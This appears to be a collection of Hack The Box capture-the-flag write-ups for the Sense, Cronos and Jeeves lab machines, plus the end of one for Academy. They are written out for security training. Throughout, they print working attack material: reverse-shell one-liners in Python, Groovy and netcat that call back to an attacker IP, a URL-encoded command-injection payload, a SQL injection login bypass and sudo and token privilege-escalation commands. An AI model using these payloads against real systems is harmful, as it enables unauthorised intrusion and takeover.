The `data` field is the supplied user input, in *hexadecimal*. We need to convert to ASCII.
Now we can login as mrb3n.
```
ssh 10.10.10.215 -l mrb3n
python3 -c 'import pty;pty.spawn("/bin/bash")'
```
### sudo -l
`sudo -l` shows us which commands that we are allowed to run as `sudo`, i.e. `root`. Sudo allows users to run *some* commands as root. Using `sudo -l` we can find out which commands these are.
### GTFO
Great resource to find info on binaries that can be used to elevate privileges! These are all *legitimate* functions of binaries that can be exploited *given there are misconfigurations*.
Here we can find info on what we can do when we have `sudo`:
So just run the commands given!
```bash
mrb3n@academy:~$ TF=$(mktemp -d)
mrb3n@academy:~$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:~$ sudo composer --working-dir=$TF run-script x
```
We should get a root shell! There's an `academy.txt` easter egg as well.
# Sense
Writeup for Sense from Hack the Box
## Service Enumeration
`nmapAutomator.sh -H 10.10.10.60 -t all`
There is a web service running on standard ports.
It turns out to be a pfSense login page.
The initial subdirectory enumeration did not yield anything interesting. If we look for `.txt` and `.php` files, however, we find some more interesting files.
`gobuster dir -u https://10.10.10.60 -w /usr/share/dirb/wordlists/common.txt -x .txt,.php -k`
The PHP pages will load the login page.
However, we find a `changelog.txt`:
```
# Security Changelog
### Issue
There was a failure in updating the firewall. Manual patching is therefore required
### Mitigated
2 of 3 vulnerabilities have been patched.
### Timeline
The remaining patches will be installed during the next maintenance window
```
Using a longer wordlist, `/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt`, we find another `.txt` file.
```
####Support ticket###
Please create the following user
username: Rohit
password: company defaults
```
## Exploitation
The default credentials, `admin:pfsense` do not work. However, the `system-users.txt` file above indicated that a `Rohit` username exists, with a "company default" password.
Using the credentials `rohit:pfsense`, we successfully authenticate into the web application.
Here, we get more information on the system version.
This version is vulnerable to CVE 2014-4688, a command injection vulnerability.
Using code from , we can exploit the vulnerability.
Change the configuration to suit our needs:
```python
username = "rohit"
password = "pfsense"
listener_ip = "10.10.14.23"
listener_port = "4444"
target_ip = "10.10.10.60"
```
The service is running as root, so we get a root shell.
To upgrade to an interactive shell, we can catch the Python reverse shell on another terminal:
`export RHOST="10.10.14.23";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'`
# Medium
Writeups for Easy machines from Hack the Box.
[Hack The Box](https://www.hackthebox.eu/) is a massive, online cyber security training platform, allowing individuals, companies, universities and all kinds of organizations around the world to level up their hacking skills.
| Machine | OS |
| ------------------------------------- | ------- |
| [Cronos](/hack-the-box/medium/cronos) | Linux |
| [Jeeves](/hack-the-box/medium/jeeves) | Windows |
# Cronos
## Service Enumeration
`nmapAutomator.sh -H 10.10.10.13 -t all`
We can perform a DNS zone transfer, guessing that the domain is `cronos.htb`:
`dig axfr @10.10.10.13 cronos.htb`
Here, we uncover some subdomains for `10.10.10.13`. Let's add them to our `/etc/hosts` file.
Now, going to [www.cronos.htb](http://www.cronos.htb) and admin.cronos.htb yields a valid webpage.
## Exploitation
The `admin.cronos.htb` login page is vulnerable to SQL injection. Using the payload:
`username=' or 1=1;#&password=`
We can bypass the authentication. Note that this does not work on the password field.
We get access to the following tool:
If we examine the POST request, we see that `ping -c 1` is sent as the `command parameter`. It is possible that the server is not sanitizing the input and reflecting the `command` parameter into the OS command.
Indeed, changing to `-c 2` changes the command executed!
We now have an RCE vulnerability. Executing the `which python` command shows that Python is installed on the server.
We can use a Python reverse shell payload:
`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`
After URL encoding, we can edit the `command` parameter:
`command=python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.23%22%2C4242%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27&host=`
On our Netcat listener, we receive the reverse shell
## Privilege Escalation
We can use LinPEAS to enumerate.
We find the following cron job that runs every minute:
The script run is a PHP script:
We can change this to our custom PHP payload:
```php
$sock, 1=>$sock, 2=>$sock),$pipes); ?>
```
The next time the cron job is run, we obtain a root shell on our listener.
# Jeeves
## Service Enumeration
`nmapAutomator.sh -H 10.10.10.63 -t all`
### Port 80
A HTTP service runs on port 80. Entering an input in the search bar results in a server error, showing us some information about the versions of the services and OS it is running.
### Port 50000
Another web service, running Jetty, is on port 50000. Using the `directory-list-2.3-medium.txt` wordlist from dirbuster, we can perform subdirectory enumeration on the target.
`gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt`
This uncovers a `/askjeeves` directory.
By going to `http://10.10.10.63:50000/askjeeves/`, we find a Jenkins page.
## Exploitation
By going to `http://10.10.10.63:50000/askjeeves/script`, we can execute scripts on the Groovy script console.
```java
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
```
By changing first line in the script, we can execute arbitrary shell commands.
We can change the script to instead trigger a reverse shell.
Source:
```java
String host="10.10.14.23";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
On our Netcat listener, we obtain a reverse shell.
## Privilege Escalation
We can use WinPEAS to enumerate.
Very quickly, we see that the SeImpersonatePrivilege token is enabled. We can exploit this with JuicyPotato ().
After transferring JuicyPotato.exe and Netcat, we can run the following command to get another shell:
`JuicyPotato -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\nc.exe -e cmd.exe 10.10.14.23 443" -t *`
We have successfully obtained SYSTEM privileges.
We find a `hm.txt` in place of `root.txt`.
However, we can find that there is an additional data stream hidden in the file.
